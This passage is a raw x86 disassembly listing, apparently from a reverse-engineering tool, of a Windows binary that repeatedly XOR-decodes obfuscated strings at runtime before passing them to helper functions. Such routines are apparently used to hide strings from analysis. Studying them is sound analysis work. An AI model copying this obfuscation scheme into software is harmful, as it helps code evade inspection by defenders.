movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40f6d0
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jge 0x40f816
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jl 0x40f7e0
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0xfc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f844
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.00402660
mov byte [ebp - 4], 0x16
xor edx, edx
mov eax, dword [0x4408f0]
mov dword [ebp - 0x264], eax
mov al, byte [0x4408f4]
mov byte [ebp - 0x260], al
mov dword [ebp - 0x25c], edx
movups xmm0, xmmword [0x4408e0]
movups xmmword [ebp - 0x274], xmm0
cmp edi, 2
jl 0x40f9e2
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40f8d4
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jge 0x40fa18
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jl 0x40f9e2
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fa40
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402660
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 0x17
push eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0xdc]
lea ecx, [ebp - 0x12c]
call fcn.0040ae50
mov esi, dword [ebp - 0xf4]
lea edx, [ebp - 0xf4]
add esp, 8
mov ecx, eax
cmp dword [ebp - 0xe0], 0x10
cmovae edx, esi
cmp dword [eax + 0x14], 0x10
jb 0x40fa9c
mov ecx, dword [eax]
push dword [ebp - 0xe4]
push edx
mov edx, dword [eax + 0x10]
push ecx
call fcn.004027a0
mov edx, dword [ebp - 0x118]
add esp, 0xc
mov dword [ebp - 0xdc], eax
cmp edx, 0x10
jb 0x40faef
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fae5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414441
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x40fb42
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fb38
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414441
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0xf8]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp edx, 0x10
jb 0x40fb92
mov ecx, dword [ebp - 0x10c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fb88
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414441
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
cmp eax, 0x10
jb 0x40fbe7
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40fbdd
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414441
push ecx
push esi
call fcn.00416502
add esp, 8
cmp dword [ebp - 0xdc], 0xffffffff
jne 0x40da5a
mov eax, dword [str.zvyso]
mov dword [ebp - 0x27c], eax
mov ax, word [0x440834]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
mov word [ebp - 0x278], ax
test ah, ah
je 0x40fc6c
xor edx, edx
mov dword [ebp - 0x25c], edx
nop word [eax + eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x25c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x25c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x27c], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 6
jl 0x40fc30
lea ecx, [ebp - 0x27c]
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fca0
sub ecx, edx
lea eax, [ebp - 0x27c]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402660
mov byte [ebp - 4], 0x18
movups xmm0, xmmword [str.k_IOYPV_2]
mov ax, word [0x4407f8]
mov word [ebp - 0x264], ax
movups xmmword [ebp - 0x274], xmm0
test ah, ah
je 0x40fe78
xor edx, edx
mov dword [ebp - 0x25c], edx
cmp edi, 2
jl 0x40fe42
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40fd30
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jge 0x40fe78
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jl 0x40fe42
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0xfc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fea6
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.00402660
mov byte [ebp - 4], 0x19
xor edx, edx
mov eax, dword [0x4408f0]
mov dword [ebp - 0x264], eax
mov al, byte [0x4408f4]
mov byte [ebp - 0x260], al
mov dword [ebp - 0x25c], edx
movups xmm0, xmmword [0x4408e0]
movups xmmword [ebp - 0x274], xmm0
cmp edi, 2
jl 0x410050
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40ff40
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jge 0x410086
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jl 0x410050
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4100a8
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402660
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 0x1a
push eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0xdc]
lea ecx, [ebp - 0x12c]
call fcn.0040ae50
mov esi, dword [ebp - 0xf4]
lea edx, [ebp - 0xf4]
add esp, 8
mov ecx, eax
cmp dword [ebp - 0xe0], 0x10
cmovae edx, esi
cmp dword [eax + 0x14], 0x10
jb 0x410104
mov ecx, dword [eax]
push dword [ebp - 0xe4]
push edx
mov edx, dword [eax + 0x10]
push ecx
call fcn.004027a0
mov edx, dword [ebp - 0x118]
add esp, 0xc
mov dword [ebp - 0xdc], eax
cmp edx, 0x10
jb 0x410157
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41014d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414446
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x4101aa
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4101a0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414446
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0xf8]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp edx, 0x10
jb 0x4101fa
mov ecx, dword [ebp - 0x10c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4101f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414446
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
cmp eax, 0x10
jb 0x41024f
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x410245
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414446
push ecx
push esi
call fcn.00416502
add esp, 8
cmp dword [ebp - 0xdc], 0xffffffff
jne 0x40da5a
cmp byte [0x440b37], 0
mov eax, dword [str.yts_]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x25c], eax
je 0x41035c
xor edx, edx
mov dword [ebp - 0xd4], edx
cmp edi, 2
jl 0x410320
movaps xmm3, xmmword [0x440c20]
mov esi, 1
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
mov ecx, 0x1f
pmuldq xmm0, xmmword [0x440ca0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x440ca0]
shufps xmm2, xmm0, 0xdd
movd xmm0, esi
psrad xmm2, xmm0
movd xmm0, ecx
movaps xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x440c50]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x440cc0]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 0x25c], xmm1
jmp 0x410361
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0xd4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xd4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x25c], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 4
jl 0x410320
mov esi, 1
lea ecx, [ebp - 0x25c]
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410390
sub ecx, edx
lea eax, [ebp - 0x25c]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402660
mov byte [ebp - 4], 0x1b
movups xmm0, xmmword [str.k_IOYPV_2]
mov ax, word [0x4407f8]
mov word [ebp - 0x264], ax
movups xmmword [ebp - 0x274], xmm0
test ah, ah
je 0x410566
xor edx, edx
mov dword [ebp - 0xd4], edx
cmp edi, 2
jl 0x410530
movaps xmm0, xmmword [0x440cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x410420
mov dword [ebp - 0xd4], edx
cmp edx, 0x12
jge 0x410566
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xd4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x12
jl 0x410530
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0xfc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410594
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.00402660
mov byte [ebp - 4], 0x1c
xor edx, edx
mov eax, dword [0x4408f0]
mov dword [ebp - 0x264], eax
mov al, byte [0x4408f4]
mov byte [ebp - 0x260], al
mov dword [ebp - 0xd4], edx
movups xmm0, xmmword [0x4408e0]
movups xmmword [ebp - 0x274], xmm0
cmp edi, 2
jl 0x410732
movaps xmm0, xmmword [0x440cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x410620
mov dword [ebp - 0xd4], edx
cmp edx, 0x15
jge 0x410768
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xd4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x15
jl 0x410732
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410790
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402660
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 0x1d
push eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0xdc]
lea ecx, [ebp - 0x12c]
call fcn.0040ae50
mov esi, dword [ebp - 0xf4]
lea edx, [ebp - 0xf4]
add esp, 8
mov ecx, eax
cmp dword [ebp - 0xe0], 0x10
cmovae edx, esi
cmp dword [eax + 0x14], 0x10
jb 0x4107ec
mov ecx, dword [eax]
push dword [ebp - 0xe4]
push edx
mov edx, dword [eax + 0x10]
push ecx
call fcn.004027a0
mov edx, dword [ebp - 0x118]
add esp, 0xc
mov dword [ebp - 0xdc], eax
cmp edx, 0x10
jb 0x41083f
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410835
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41444b
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x410892
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410888
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41444b
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0xf8]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp edx, 0x10
jb 0x4108e2
mov ecx, dword [ebp - 0x10c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4108d8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41444b
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
cmp eax, 0x10
jb 0x410937
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x41092d
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41444b
push ecx
push esi
call fcn.00416502
add esp, 8
cmp dword [ebp - 0xdc], 0xffffffff
je 0x410a2f
mov edx, dword [ebp - 0x1a8]
cmp edx, 0x10
jb 0x41097e
mov ecx, dword [ebp - 0x1bc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410974
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414450
push edx
push ecx
call fcn.00416502
add esp, 8
mov edx, dword [ebp - 0x130]
cmp edx, 0x10
jb 0x4109b8
mov ecx, dword [ebp - 0x144]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4109ae
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414450
push edx
push ecx
call fcn.00416502
add esp, 8
mov edx, dword [ebp - 0x148]
cmp edx, 0x10
jb 0x4109f2
mov ecx, dword [ebp - 0x15c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4109e8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414450
push edx
push ecx
call fcn.00416502
add esp, 8
mov edx, dword [ebp - 0x1c0]
cmp edx, 0x10
jb 0x414403
mov ecx, dword [ebp - 0x1d4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40db3c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414450
jmp 0x40db3c
mov eax, dword [str.kvtr_]
xor edx, edx
mov dword [ebp - 0x114], eax
